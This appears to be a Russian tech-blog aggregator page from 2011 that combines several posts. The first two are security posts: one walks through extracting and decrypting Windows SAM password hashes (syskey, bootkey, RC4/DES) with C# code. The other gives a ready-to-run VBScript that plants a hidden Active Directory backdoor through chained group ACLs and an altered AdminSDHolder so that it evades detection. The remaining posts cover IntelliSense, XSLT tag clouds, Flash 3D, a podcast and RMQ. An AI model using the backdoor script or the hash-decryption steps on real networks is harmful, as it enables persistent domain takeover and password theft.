воскресенье, 6 марта 2011 г.

Информационная безопасность 2

Хранение и шифрование паролей Microsoft Windows

Про взлом паролей windows было написано немало статей, но все они сводились к использованию какого-либо софта, либо поверхностно описывали способы шифрования LM и NT, и совсем поверхностно описывали syskey. Я попытаюсь исправить этот неодостаток, описав все подробности о том где находятся пароли, в каком виде, и как их преобразует утилита syskey.

Существует 2 возможности получения пароля — через реестр, или получив прямой доступ к файлам-кустам реестра. В любом случае нужны будут либо привелегии пользователя SYSTEM, либо хищение заветных файлов, например, загрузившись из другой ОС. Здесь я не буду описывать возможности получения доступа, но в целях исследования нагляднее будет выбрать первый вариант, это позволит не заострять внимание на структуре куста реестра. А запуститься от системы нам поможет утилита psExec от sysinternals. Конечно, для этих целей можно использовать уязвимости windows, но статья не об этом.
 
V-блок

Windows до версии Vista по умолчанию хранила пароль в двух разных хэшах — LM и NT. В висте и выше LM-хэш не хранится. Для начала посмотрим где искать эти хэши, а потом разберемся что из себя они представляют.

Пароли пользователей, а так же много другой полезной информации хранится в реестре по адресу HKLM\SAM\SAM\Domains\Account\users\[RID]\V
, известном как V-блок. Раздел SAM находится в соответствующем файле c:\Windows\System32\config\SAM. RID — уникальный идентификатор пользователя, его можно узнать, например заглянув в ветку HKLM\SAM\SAM\Domains\Account\users\names\<имя пользователя> (параметр Default, поле — тип параметра). Например, RID учетной записи «Администратор» всегда 500 (0x1F4), а пользователя «Гость» — 501 (0x1f5). Доступ к разделу SAM по умолчанию возможен только пользователю SYSTEM, но если очень хочется посмотреть — запускаем regedit c правами системы:

PsExec.exe -s -i -d regedit.

Чтобы наблюдать V-блок в удобном виде можно, например, экспортировать его в текстовый файл (File-Export в Regedit).
Вот что мы там увидим:
 
 От 0x0 до 0xCC располагаются адреса всех данных, которые находятся в V-блоке, их размеры и некоторая дополнительная информация о данных. Чтобы получить реальный адрес надо к тому адресу, что найдем прибавить 0xCC. Адреса и размеры хранятся по принципу BIG ENDIAN, т.е понадобится инвертировать байты. На каждый параметр отводится по 4 байта, но фактически все параметры умещаются в одном-двух байтах. Вот где искать:

Адрес имени пользователя — 0xС
Длина имени пользователя — 0x10
Адрес LM-хэша — 0x9с
Длина LM-хэша — 0xa0
Адрес NT-хэша — 0xa8
длина NT-хэша — 0xac

В данном случае имя пользователя найдется по смещению 0xd4 + 0xcc и его длина будет 0xc байт.
NT-хэш будет располагаться по смещению 0x12c + 0xcc и его размер (всегда один и тот же) = 0x14.

Еще одна деталь, касающаяся хранения паролей — как к NT- так и к LM-хэшу всегда добавляются спереди 4 байта, назначение которых для меня загадка. Причем 4байта будут присутствовать даже если пароль отключен. В данном случае видно, что длина LM хэша =4 и если посмотреть на его адрес, можно эти 4 байта увидеть несмотря на то что никакого LM-хэша нет.
Поэтому при поиске смещений хэшей смело прибавляем 4 байта к адресу, а при учете размеров — вычитаем. Если удобнее читать код — вот примерно так будет выглядеть поиск адресов с учетом инверсии, лишних четырех байтов и прибавления стартового смещения 0xcc (код C#)

int lmhashOffset = userVblock[0x9c] + userVblock[0x9d] * 0x100 + 4 + 0xcc;
int nthashOffset = userVblock[0xa8] + userVblock[0xa9] * 0x100 + 4 + 0xcc;
int lmhashSize = userVblock[0xa0] + userVblock[0xa1] * 0x100 - 4;
int nthashSize = userVblock[0xac] + userVblock[0xad] * 0x100 - 4;
int usernameOffset = userVblock[0xc] + userVblock[0xd] * 0x100 + 0xcc;
int usernameLen = userVblock[0x10] + userVblock[0x1a] * 0x100;
userVblock — значение HKLM\SAM\SAM\Domains\Account\users\\V в виде массива байт.
Еще про V-блок можно почитать тут.


Алгоритмы  


Теперь разберемся в алгоритмах шифрования.
Формирование NT-хэша:
1. Пароль пользователя преобразуется в Unicode-строку.
2. Генерируется MD4-хэш на основе данной строки.
3. Полученный хэш шифруется алгоритмом DES, ключ составляется на основе RID пользователя.
Формирование LM-хэша:
1. Пароль пользователя преобразуется в верхний регистр и дополняется нулями до длины 14 байт.
2. Полученная строка делится на две половинки по 7 байт и каждая из них по отдельности шифруется алгоритмом DES. В итоге получаем хэш длиной 16 байт (состоящий из двух независимых половинок длиной по 8 байт).
3. Полученный хэш шифруется алгоритмом DES, ключ составляется на основе RID пользователя.

4. В windows 2000 и выше оба полученых хэша дополнительно шифруются алоритмом RC4 с помощью ключа, известного как «системный ключ» или bootkey, сгенерированого утилитой syskey, и шифруются довольно хитрым образом.

Рассмотрим общую последовательность действий для получения исходного пароля и каждый шаг в отдельности
1. Получаем bootkey, генерируем на его основе ключи для RC4, расшифровываем хэши с помощью RC4
2. Получаем ключи для DES из RID'ов пользователей, расшифровываем хэши DES'ом
3. Полученые хэши атакуем перебором.

Bootkey


Системный ключ (bootkey) разбит на 4 части и лежит в следующих разделах реестра:
HKLM\System\CurrentControlSet\Control\Lsa\JD
HKLM\System\CurrentControlSet\Control\Lsa\Skew1
HKLM\System\CurrentControlSet\Control\Lsa\GBG
HKLM\System\CurrentControlSet\Control\Lsa\Data


Раздел system находится в файле c:\Windows\System32\config\system

Следует отметить, что раздел CurrentControlSet является ссылкой на один из разделов controlset и создается в момент загрузки системы. Это значит что не получится его найти в файле system, если система неактивна. Если вы решили искать ключ в файле — необходимо узнать значение ContolSet по умолчанию в HKLM\SYSTEM\Select\default.
например если HKLM\SYSTEM\Select\default = 1 — вместо HKLM\System\CurrentControlSet\ ищем в HKLM\System\controlset001\

У каждого ключа реестра есть некий скрытый атрибут, известный как «class». Regedit его так просто не покажет, однако его можно увидеть, например, если экспортировать эти ключи реестра в текстовые файлы. В winapi для получения этого атрибута есть функция RegQueryInfoKey.
Фрагменты хранятся в строковом представлении шестнадцатеричных чисел, причем по принципу BIG ENDIAN (т.е не строка задом наперед, а число).
Например мы обнаружили вот такие записи:

Key Name: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\JD
Class Name: 46003cdb = {0xdb,0x3c,0x00,0x46}
Key Name: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Skew1
Class Name: e0387d24 = {0x24,0x7d,0x38,0xe0}
Key Name: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\GBG
Class Name: 4d183449 = {0x49,0x34,0x18,0x4d}
Key Name: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Data
Class Name: 0419ed03 = {0x03,0xed,0x19,0x04}

Собраный из четырех частей ключ будет массивом байт:

scrambled_key = {0xdb,0x3c,0x00,0x46,0x24,0x7d,0x38,0xe0,0x49,0x34,0x18,0x4d,0x03,0xed,0x19,0x04};

Далее элементы этого массива переставляются на основе некоторого константного массива p

int[] p = { 0xb, 0x6, 0x7, 0x1, 0x8, 0xa, 0xe, 0x0, 0x3, 0x5, 0x2, 0xf, 0xd, 0x9, 0xc, 0x4 };
Элементы в этом массиве определяют позиции для перестановок, т.е.

key[i] = scrambled_key[p[i]];

В нашем примере получится массив:

key[] = {0x4d,0x38,0xe0,0x3c,0x49,0x18,0x19,0xdb,0x46,0x7d,0x00,0x04,0xed,0x34,0x03,0x24 };

этот массив и есть так называемый bootkey. Только в шифровании паролей будет учавствовать не он а некий хэш на основе bootkey, фрагментов f-блока и некоторых констант. Назовем его Hashed bootkey.

Hashed bootkey


для получения Hashed bootkey нам понадобятся 2 строковые константы (ASCII):

string aqwerty = "!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\0";
string anum = "0123456789012345678901234567890123456789\0";
Также понадобится F-блок пользователя (HKLM\SAM\SAM\Domains\Account\users\\F), а именно его 16 байт: F[0x70:0x80]

На основе этих значений, склееных в один большой массив формируем MD5 хэш, который будет являться ключем для шифрования RC4

rc4_key = MD5(F[0x70:0x80] + aqwerty + bootkey + anum).

Последним шагом для получения hashed bootkey будет rc4 шифрование( или дешифрование — в rc4 это одна и та же функция) полученым ключем фрагмента F-блока F[0x80:0xA0];

hashedBootkey = RC4(rc4_key,F[0x80:0xA0])

Hashed bootkey у нас в руках, осталось научиться с ним правильно обращаться.

Дешифруем пароли с помощью Hashed Bootkey


для паролей LM и NT нам понадобятся еще 2 строковые константы —

string almpassword = "LMPASSWORD";
string antpassword = "NTPASSWORD";

а так же RID пользователя в виде 4х байт (дополненый нулями) и первая половина Hashed Bootkey (hashedBootkey[0x0:0x10]);
Все это склеивается в один массив байт и считается MD5 по правилам:
rc4_key_lm = MD5(hbootkey[0x0:0x10] +RID + almpassword);
rc4_key_nt = MD5(hbootkey[0x0:0x10] +RID + antpassword);

полученый md5 хэш — ключ для rc4, которым зашифрованы LM и NT хэши в V-блоке пользователя

userLMpass = RC4(rc4_key_lm,userSyskeyLMpass);
userNTpass = RC4(rc4_key_lm,userSyskeyNTpass);

На этом этапе мы получили пароли пользователя в том виде в каком они хранились бы без шифрования syskey, можно сказать, что самое сложное позади. Переходим к следующему шагу
 

DES

На основе четырех байт RID'а пользователя с помощью некоторых перестановок и побитовых операций создаем 2 ключа DES. Вот функции, которые осуществляют обфускацию (С#):
private byte[] str_to_key(byte[] str) {
byte[] key = new byte[8];
key[0] = (byte)(str[0] >> 1);
key[1] = (byte)(((str[0] & 0x01) << 6) | (str[1] >> 2));
key[2] = (byte)(((str[1] & 0x03) << 5) | (str[2] >> 3));
key[3] = (byte)(((str[2] & 0x07) << 4) | (str[3] >> 4));
key[4] = (byte)(((str[3] & 0x0F) << 3) | (str[4] >> 5));
key[5] = (byte)(((str[4] & 0x1F) << 2) | (str[5] >> 6));
key[6] = (byte)(((str[5] & 0x3F) << 1) | (str[6] >> 7));
key[7] = (byte)(str[6] & 0x7F);
for (int i = 0; i < 8; i++) {
key[i] = (byte)(key[i] << 1);
}
des_set_odd_parity(ref key);
return key;
}

private byte[] sid_to_key1(byte[] rid) {
byte[] s = new byte[7];
s[0] = (byte)(rid[0] & 0xFF);
s[1] = (byte)(rid[1] & 0xFF);
s[2] = (byte)(rid[2] & 0xFF);
s[3] = (byte)(rid[3] & 0xFF);
s[4] = s[0];
s[5] = s[1];
s[6] = s[2];

return str_to_key(s);
}

private byte[] sid_to_key2(byte[] rid) {
byte[] s = new byte[7];
s[0] = (byte)((rid[3]) & 0xFF);
s[1] = (byte)(rid[0] & 0xFF);
s[2] = (byte)((rid[1]) & 0xFF);
s[3] = (byte)((rid[2]) & 0xFF);
s[4] = s[0];
s[5] = s[1];
s[6] = s[2];

return str_to_key(s);
}

Ну здесь особо комментировать нечего, кроме функции des_set_odd_parity(ref key) — это одна из функций библиотеки openssl, задача которой добавить некоторые «биты нечетности», используется для повышения стойкости ключа к атакам.

Далее разбиваем NT (или LM) хэш на 2 части по 8 байт и дешифруем DES'ом -одна половина зашифрована ключем сформированым функцией sid_to_key1, вторая — sid_to_key2.
obfskey_l = userNTpass[0x0:0x7]
obfskey_r = userNTpass[0x8:0xF]
byte[] deskey1 = sid_to_key1(RID);
byte[] deskey2 = sid_to_key2(RID);
byte[] md4hash_l = DES(obfskey_l, deskey1);
byte[] md4hash_r = DES(obfskey_r, deskey2);

После склеивания двух половин мы получим md4 хэш -в случае NT, или LanMan (DES) — в случае LM. Полученый хэш полностью готов к атаке перебором.
Кстати, md4 Хэш от пустого пароля — 31d6cfe0d16ae931b73c59d7e0c089c0

Исследование проведено на основе исходного кода ophcrack-3.3.1, а так же статьи Push the Red Button:SysKey and the SAM

Информационная безопасность

Backdoor в Active Directory

В свое время, менее года назад, на каком то сайте мелькала публикация с аналогичным заголовком [1]. В ней автор предлагал способ по сокрытию привилегий администратора домена путем использования в качестве контейнера, для размещения «скрытой» учетной записи, служебное хранилище «Program data», в совокупностью с агрессивным разграничением прав с целью предотвращения доступа к «спрятанной» учетной записи. Однако, несмотря на заверения автора, обнаружение «скрытой» учетной записи и ее последующее удаление можно было выполнить всего в несколько кликов.

1. Обнаружение и беспрепятственное удаление учетной записи (несмотря на обратные заверения автора [1]).


Т.е. предложенный подход на практике будет не работоспособен. Но может быть существует более подходящая альтернатива этому способу (в том числе без использования руткитов на контроллерах домена:))?

В силу того, что моя деятельность напрямую связана с проведением тестирований на проникновение, этот вопрос некоторое время крутился у меня в голове. И крутился до того, момента пока не потребовалось в одной из проводимых мною работ оставаться незамеченным на протяжении продолжительного времени, при этом оставаясь и администратором предприятия и выполняя условие по минимизации воздействия на информационную систему.

Как говорил один известный писатель детективных романов:
— Где лучше всего спрятать лист?
— В осеннем лесу!
— Где лучше всего спрятать камень?
— На морском берегу!
— А где лучше всего спрятать труп?
— На поле сражения.

Проводя параллель с каталогом домена можно придерживаться следующей стратегии:

— Идентификатор backdoor лучше не прятать, а держать в одном контейнере с большим скоплением других идентификаторов пользователей. При этом создаваемый идентификатор должен быть максимально похож на самую обычную корпоративную учетную запись.

— Идентификатор backdoor не должен непосредственно являться членом групп с расширенными привилегиями в домене. Для этого лучше использовать возможности контроля доступа, как показано на картинке ниже.


— Не совсем разумно «светить» идентификатор backdoor пользователя даже в списках контроля доступа у групп с расширенными привилегиями в домене. Более разумный подход – расширение привилегий группам безопасности, которые уже являются участниками ACLs в списках контроля доступа у групп с расширенными привилегиями в домене. Для этих целей удачно подходит группа «Builtin\Terminal Server License Servers»:

Итак, для эффективного создания бэкдора, по описанному сценарию выше, требуется:

1. Завести неприметного пользователя;
2. Разрешить этому пользователю изменять список участников группы «Builtin\Terminal Server License Servers»;
3. Разрешить группе «Builtin\Terminal Server License Servers» изменять список участников группы, например, «Domain Admins».

Тут стоит отметить небольшой нюанс. Просто так изменить список контроля доступа для группы «Domain Admins» не получится. Дело в том, что в архитектуре Active Directory предусмотрена защита списков контроля доступа наиболее чувствительных объектов (adminSDHolder, [2]), в их числе:

— Enterprise Admins
— Schema Admins
— Domain Admins
— Administrators
— Domain Controllers
— Cert Publishers
— Backup Operators
— Replicator Server Operators
— Account Operators
— Print Operators

Для того чтобы вносимые изменения в список контроля доступа перечисленных выше групп не перезаписывались каждый час, требуется либо изменить шаблонный список контроля доступа на объекте «CN=AdminSDHolder,CN=System, », либо установить атрибут «adminCount» в ноль для требуемого объекта [3]. Перезаписать шаблонный список контроля доступа видится мне более перспективным т.к. не каждый администратор знаком с подобным «защитным» механизмом Active Directory.

Для автоматизации «закладки» в Active Directory может использоваться сценарий, который приведен ниже.

On Error Resume Next

' Имя и пароль пользователя
username = "PT"
password = "P@ssw0rd"

' Организационная единица, в которой будет создан пользователь
userDN = "cn=Users"

' Группа, которая уже содержится в ACLs группы Domain Admins
joinGroupDN = "cn=Terminal Server License Servers, cn=Builtin"
joinGroup = "BUILTIN\Terminal Server License Servers"

' Группа администраторов
adminsGroup = "CN=Domain Admins,CN=Users"

Dim objRoot, objContainer, objUser, objGroup, objSysInfo, strUserDN
Set objSysInfo = CreateObject("ADSystemInfo")
strUserDN = objSysInfo.userName
Set objUser = GetObject("LDAP://" & strUserDN)

Set objRoot = GetObject("LDAP://rootDSE")
Set objContainer = GetObject("LDAP://" & userDN & "," & objRoot.Get("defaultNamingContext"))

' Создаем пользователя
Set objUserCreate = objContainer.Create("User", "cn=" & username)
objUserCreate.Put "sAMAccountName", username
objUserCreate.SetInfo
On Error Resume Next

' Устанавливаем пароль, который будет жить вечно ;)
objUserCreate.SetPassword password
objUserCreate.Put "userAccountControl", 66048
objUserCreate.SetInfo
On Error Resume Next

' Разрешаем созданному пользователю изменять список участников группы Terminal Server License Servers
GroupAddAce joinGroupDN,username

' Разрешаем членам группы Terminal Server License Servers изменять список участников группы Domain Admins
GroupAddAce adminsGroup,joinGroup

' Меняем "защитный" шаблон безопасности ACL на аналогичное разрешение выше
GroupAddAce "CN=AdminSDHolder,CN=System",joinGroup

Function GroupAddAce(toGroup,forGroup)
Dim objSdUtil, objSD, objDACL, objAce
Set objGroup = GetObject ("LDAP://" & toGroup & "," & objRoot.Get("defaultNamingContext"))

Set objSdUtil = GetObject(objGroup.ADsPath)
Set objSD = objSdUtil.Get("ntSecurityDescriptor")
Set objDACL = objSD.DiscretionaryACL
Set objAce = CreateObject("AccessControlEntry")

objAce.Trustee = forGroup
objAce.AceFlags = 0
objAce.AceType = 5
objAce.AccessMask = 32
objAce.Flags = 1
objAce.ObjectType = "{BF9679C0-0DE6-11D0-A285-00AA003049E2}"
objDacl.AddAce objAce

objSD.DiscretionaryAcl = objDacl
objSDUtil.Put "ntSecurityDescriptor", Array(objSD)
objSDUtil.SetInfo

End Function


Стоит лишь добавить, что, несмотря на свою простоту, обнаружить подобную закладку без средств непрерывного автоматизированного контроля довольно сложно. А развивая идею можно подумать в сторону и более сложных закладок, например, разрешить пользователю управлять групповыми политиками для OU, содержащего контроллеры домена и т.п.

Visual Studio

C++/CLI IntelliSense в Visual Studio

Разработчики из команды Visual C++ Team поделились своими соображениями почему с выходом Visual Studio 2010 ими не была включена IntelliSense подсказка для C++/CLI проектов.

В выходящем пакете SP1 для Visual Studio 2010 для C++/CLI её также не будет — связано это c начатым процессом переписывания внутренних механизмов реализации Intellisense-подсказки. В Visual Studio 2010 решили отказаться от привычного использования старого механизма .ncb файлов из-за большого объема работы по переносу его со старых версий VS. И его бессмысленности как таковой из-за наличия начатой разработки новой версии подсказки. Новая версия подсказки не была включена из-за своей недописанности, включая большое количество запланированных нововведений. Так, в текущей версии IntelliSense не работал бы импорт метаданных, что сделало бы его во многом бессмысленным.

Таким образом, в новых версиях Visual Studio мы должны увидеть не только новый механизм работы интеллектуальной подсказки, но и много нововведений, связанных с ней.
 

Droider.ru

Амазонки мобильного мира

Всем привет,

В завершающий день такой продолжительной рабочей недели хотим поздравить вас с наступающим праздником — 8 марта! Мы не смогли не воспользоваться таким замечательным поводом, и решили рассказать вам о самых влиятельных и успешных женщинах в мире мобильных и интернет-технологий, настоящих воительницах индустрии.

Марисса Майер, Google. 
Вице-президент по поисковым продуктам и удовлетворенности пользователей.


  


Марисса возглавляет направление по управлению самым главным в Google проектами — поисковыми. В ее ведении находятся запуски, связанные с основными сервисами компании: веб-поиск, Картинки, Новости, Книги, Карты Google, Google Планета Земля, Панель инструментов и другие. Она пришла в команду в 1999 году и была первой девушкой-инженером. Кроме этого, Марисса долгое время читала популярные лекции по программированию в Стэнфордском университете.

Шер Вонг, HTC.
Председатель совета директоров, одна из основателей компании.


Шер очень повезло с родственниками, что, конечно, не отменяет ее личные выдающиеся качества и достижения. Ее отцом был богатейший тайваньский предприниматель-долгожитель, руководивший империей пластмассовой и химической промышленности. Муж Шер — генеральный директор компании VIA Technologies, которая производит процессоры, материнские платы и модули памяти. Сама Шер участвует в жизни HTC с момента ее основания.

Елена Шматова, ВымпелКом (Билайн).
Генеральный директор.


Окончила экономический факультет Московского института связи. Генеральным директором одного из операторов «большой тройки» Елена стала в июне 2010 года, проработав до этого в компании с 1999 года на крупнейших финансовых должностях.


Мэри МакДауэлл, Nokia.
Исполнительный вице-президент. Подразделение мобильных телефонов.


За свою карьеру Мэри успела поработать в таких компаниях, как Compaq и Hewlett-Packard. В 2004 году она начала трудиться в Nokia, и сейчас на ее плечах находятся все задачи по продвижению и созданию мобильных продуктов компании во всем мире.

Надеемся, такой мощный по составу список вдохновит как мужчин, так и женщин на новые достижения и идеи. Еще раз поздравляем вас с наступающим праздником! Редакция Droider.ru

XSLT

Облако тегов средствами XSLT

Не так давно столкнулся с необходимостью реализовать на одном из проектов то, что в народе называют «облаком тегов» — набор ссылок, в котором наиболее «весомые» элементы имеют бОльший размер. Для этого можно было бы, конечно, посчитать и получить все необходимые данные в PHP, на котором работает проект, но мне хотелось сделать конечный вариант отображения на XSLT и CSS, чтобы все необходимые величины для конфигурирования максимальных/минимальных размеров шрифта, например, были заданы в представлении, а не в логике приложения.

Возможно, кому-то мой опыт окажется полезным, поэтому публикую конечное решение здесь.

Итак, на входе у нас есть простейший XML с тегом и количеством его упоминаний:

<?xml version="1.0" encoding="utf-8" ?>
<cloud>
       <row id="1">
                <name>биология</name>
                <weight>2</weight>
        </row>
        <row id="2">
                   <name>русский язык</name>
                   <weight>20</weight>
        </row>
        <row id="3">
                        <name>алгебра</name>
                        <weight>13</weight>
         </row>
         <row id="4">
                       <name>география</name>
                       <weight>2</weight>
         </row>
         <row id="5">
                                <name>физкультура</name>
                                        <weight>20</weight>
          </row>
          <row id="6">
                                <name>астрономия</name>
                                <weight>1</weight>
          </row>
          <row id="7">
                                <name>правоведение</name>
                                <weight>7</weight>
          </row>
          <row id="8">
                                  <name>история</name>
                                       <weight>14</weight>
</row>
</cloud>

* This source code was highlighted with Source Code Highlighter.


теперь сделаем преобразование:


<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">

<xsl:template match="/">
<html>
<body>
<xsl:apply-templates />
</body>
</html>
</xsl:template>

<xsl:template match="cloud">
<xsl:variable name="theMax" select="row[not(weight < ../row/weight)]/weight" />
<xsl:variable name="theMin" select="row[not(weight > ../row/weight)]/weight" />

<xsl:variable name="perc100" select="$theMax - $theMin"/>
<xsl:variable name="perc1">
<xsl:choose>
<xsl:when test="$perc100 = 0">100</xsl:when>
<xsl:otherwise><xsl:value-of select="100 div $perc100"/></xsl:otherwise>
</xsl:choose>
</xsl:variable>

<xsl:variable name="maxfont">26</xsl:variable>
<xsl:variable name="minfont">11</xsl:variable>

<xsl:variable name="font" select="$maxfont - $minfont"/>
<div style="width:300px">
<xsl:for-each select="row">
<xsl:variable name="size" select="$minfont + ceiling($font div 100 * ((weight - $theMin) * $perc1))"/>
<a href="/tag/{name}" style="font-size: {$size}px">
<xsl:value-of select="name" />
</a>
<xsl:if test="position() != last()"><xsl:text> </xsl:text></xsl:if>
</xsl:for-each>
</div>
</xsl:template>

</xsl:stylesheet>

* This source code was highlighted with Source Code Highlighter.

В переменные $minfont и $maxfont задаются значения размера шрифта тега в пикселях. Остальные вычисления необходимы для того, чтобы понять, какое количество пикселей нужно прибавить к $minfont в зависимости от величины «веса» того или иного тега. Можно перенести это из переменных в параметры шаблона, и тогда в разных местах сайта можно будет указывать разные значения максимального и минимального размеров шрифтов при вызове шаблона, для более гармоничного отображения.
В результате вычислений значения изменяются довольно плавно, и теги с небольшими различиями в весе при небольшом диапазоне от $minfont до $maxfont будут иметь одинаковый размер.

В результате представленного выше преобразования, получаем следующий HTML:

<html>
<body>
<div style="width: 300px;">
<a href="/tag/биология" style="font-size: 12px;" title="weight: 2">биология</a>
<a href="/tag/русский язык" style="font-size: 26px;" title="weight: 20">русский язык</a>
<a href="/tag/алгебра" style="font-size: 21px;" title="weight: 13">алгебра</a>
<a href="/tag/география" style="font-size: 12px;" title="weight: 2">география</a>
<a href="/tag/физкультура" style="font-size: 26px;" title="weight: 20">физкультура</a>
<a href="/tag/астрономия" style="font-size: 11px;" title="weight: 1">астрономия</a>
<a href="/tag/правоведение" style="font-size: 16px;" title="weight: 7">правоведение</a>
<a href="/tag/история" style="font-size: 22px;" title="weight: 14">история</a>
</div>
</body>
</html>

* This source code was highlighted with Source Code Highlighter.

А выглядит это так:









Таким образом генерировать облако тегов можно и при помощи client-side XSLT-преобразований.

Конструктивная критика приветствуется. Буду рад, если пригодится не только мне. :)




 

Flash-платформа


Аппаратно ускоренная графика во Flash на Windows и Linux

 Сегодняшньяя тема которую мы рассмотрим это выход превью Molehill (низкоуровневое API Actionscript для вывода аппаратно ускоренной графики во flash-плеере) предлагаю вашему вниманию способ сборки/запуска этой радости на Windows и Linux (Ubuntu 10.10)

Готовим среду

Собирать приложения будем с помощью Flex.
Для этого, согласно инструкциям на сайте производителя, качаем свежую версию продукта с официальной страницы загрузки
Для Linux следуем инструкциям по развертыванию

Качаем и устанавливаем для своего браузера и операционной системы нужную версию flash-плеера (ссылки ниже).
Для ubuntu копируем libflashplayer.so в /usr/lib/mozilla/plugins/ и выполняем на нем для x64 систем: sudo nspluginwrapper -i /usr/lib/mozilla/plugins/libflashplayer.so источник
Проверяем работет ли плеер на демо

В директории frameworks/libs/player дистрибутива flex SDK создаем папку 13.1 и копируем туда playerglobal.swc (определения нового API)

В файле frameworks/flex-config.xml меняем target-player на 13.1 и swf-version на 13.
Теперь можно пытаться собрать простенький пример использующий molehill, например, отсюда (mxmlc mole2d/src/Main.as).

А теперь 3D

API Molehill низкоуровневое и для того чтобы показать в своем проекте аппаратно ускоренное 3D придется изрядно повозиться, но можно пойти другим путем и использовать существующий 3D движок. В апреле 2011 г. выйдет версия Alternativa3D с поддержкой Molehill, а уже сегодня можно поработать с альфа версией движка Away3D.

Качаем отсюда исходники библиотеки и примеры использования
Из директории src исходников копируем папки away3d и com в директорию src примеров использования, а lib/apparat-lzma-decoder-1.0.RC8.swc в директорию frameworks/libs flex SDK

Теперь можно собирать исходники примеров например так: mxmlc LightingTest.as и смотреть результаты, открывая получившиеся swf файлы браузером.
Для многих примеров использующих загрузку файлов (LoaderMD5Test.as etc.) понадобится поместить src/assets и скомпилированный ролик в сетевую папку или запускать их с локального или удаленного вебсервера.

Подкасты

«Рунет сегодня», 5 марта 2011 года. Эксперты выпуска: Егор Яковлев, Петр Диденко.

В студии «Финам FM» с Максимом Спиридоновым обсуждают и анализируют события Рунета за неделю Егор Яковлев, генеральный директор компании Tvigle Media, и Петр Диденко, главный специалист по стратегическому развитию «СКБ Контур». В центре дискуссии — регистрация кириллического домена.укр, усиление роли кнопки Like в интерфейсе Facebook, запуск сервиса платежей банковскими картами через «Яндекс.Деньги», открытие онлайн-кинотеатра Now.ru (проект «Газпром Медиа»), планы крупнейших игроков рынка мобильного интернета по совместному внедрению связи стандарта 4G на мощностях Yota и официальное опровержение информации о возможной продаже «ВКонтакте» его акционеру Mail.ru Group.

1. Украина зарегистрировала кириллический домен верхнего уровня.укр в международной организации ICANN, отвечающей за распределение адресного пространства интернета. Это доменное имя в настоящее время готовится к делегированию. Обеспечение технической инфраструктуры для функционирования новой зоны возложено на координационный совет Украинского сетевого информационного центра, который уже курирует работу домена .ua.

— Кириллические домены: дань моде, «национальный пиар» или шаг к повышению «дружелюбности» интернета?
— Егор Яковлев: «Доступ к подавляющему большинству информации люди в ближайшее время будут получать специальные приложения, которые живут на самых разных устройствах. Не будет нужно даже ничего набирать [в браузере]».

2. Администрация социальной сети Facebook переносит функциональность кнопки Share, «Поделиться», на кнопку Like, «Нравится». Теперь, когда пользователь помечает тот или иной материал нажатием кнопки Like, в его ленте в Facebook появляется отдельный блок с кратким описанием контента и мини-иллюстрацией. Эти изменения вступили в силу, однако, по словам представителя Facebook, пока носят тестовый характер. Функциональность кнопки Share дальнейшему развитию не подлежит.

— Петр Диденко: «В случае с пользовательским софтом надо, чтобы была одна кнопка счастья, желательно зеленого цвета», «Facebook нужно ставить перед собой конкретные цели».
— Facebook проходит тот же путь, что и Windows?
— Технология социального графа в поисковых системах.

3. «Яндекс.Деньги» ввели возможность привязать банковскую карту к счету в своей платежной системе. Теперь пользователи сервиса могут совершать через него в Сети покупки, используя его как шлюз для перевода средств с карты, причем без комиссии. Пока лимит по платежам, производимым таким способом, составляет максимум пять тысяч рублей в сутки и не более 30 тысяч в месяц.

— С чем связан лимит на платежи в рамках сервиса?
— Два противоположных подхода к безопасности платежей.
— Петр Диденко: «Хотелось бы, чтобы суррогатные деньги становились реальнее».

4. Холдинг «Газпром Медиа» и телеканал ТНТ 1 марта открыли онлайн-кинотеатр Now.ru. Месяц доступа к каталогу портала стоит 499 рублей. Создатели ресурса делают акцент на полной легальности предлагаемых ими фильмов, сериалов и передач. В частности, руководством Now.ru заключены контракты с BBC, Disney, Sony Pictures, Warner Brothers и другими крупными киностудиями. В сервис вложены «миллионы долларов», но меньше десяти миллионов, заметил гендиректор ТНТ Роман Петренко в интервью газете «Коммерсант».

— Возможен ли коммерческий успех у проекта класса Now.ru на российском рынке?
— Бизнес-модели сервисов онлайн-трансляции потокового видео.
— Егор Яковлев: «Просто назвать человека пиратом, когда у него нет другого способа получить контент легально».

5. Компании «Вымпелком», «Мегафон», МТС, «Ростелеком» и «Скартел» (бренд Yota) в четверг в присутствии премьер-министра России Владимира Путина заключили соглашение о создании совместного предприятия. Общими усилиями эти пять игроков планируют развивать услуги мобильной связи четвертого поколения (4G) по технологии LTE. Инфраструктурной базой проекта послужат частоты, имеющиеся в распоряжении Yota. Доли в предприятии могут быть распределены между компаниями-участницами на паритетной основе. До 2014 года для создания сетей стандарта 4G «Скартел» собирается привлечь внешнее финансирование на уровне двух миллиардов долларов.

— Егор Яковлев: «Эта сделка только отчасти коммерческая, скорее решение стратегическое».
— С чьими интересами столкнулись интересы компании Yota?
— Что даст технология LTE обычным пользователям?

6. Создатель социальной сети «ВКонтакте» Павел Дуров заявил на сайте Roem.ru о том, что контроль над компанией остается у ее основателей. Вопреки слухам, они не намерены полностью продать свой бизнес Mail.ru Group, которой принадлежит 32,5% сервиса. «Планов по интеграции на уровне сервисов, управления или продажи рекламы между проектами Mail.ru Group и „ВКонтакте” не существует», — заметил господин Дуров и обещал, что его компания будет продолжать самостоятельное развитие.

— Петр Диденко: «Это [решение] продиктовано личностью Павла Дурова».
— Егор Яковлев: «Исторически бизнес „ВКонтакте” в значительной степени построен на нарушении авторских прав», «Если бы „ВКонтакте” был частью Mail.ru Group, у них были бы проблемы с IPO в Англии».

 

Задача RMQ. 1. Static RMQ

Введение


Задача RMQ весьма часто встречается в спортивном и прикладном программировании.

Аббревиатура RMQ расшифровывается как Range Minimum (Maximum) Query – запрос минимума (максимума) на отрезке в массиве. Для определённости мы будем рассматривать операцию взятия минимума.

Пусть дан массив A[1..n]. Нам необходимо уметь отвечать на запрос вида «найти минимум на отрезке с i-ого элемента по j-ый».


Рассмотрим в качестве примера массив A = {3, 8, 6, 4, 2, 5, 9, 0, 7, 1}.
Например, минимум на отрезке со второго элемента по седьмой равен двум, то есть RMQ(2, 7) = 2.

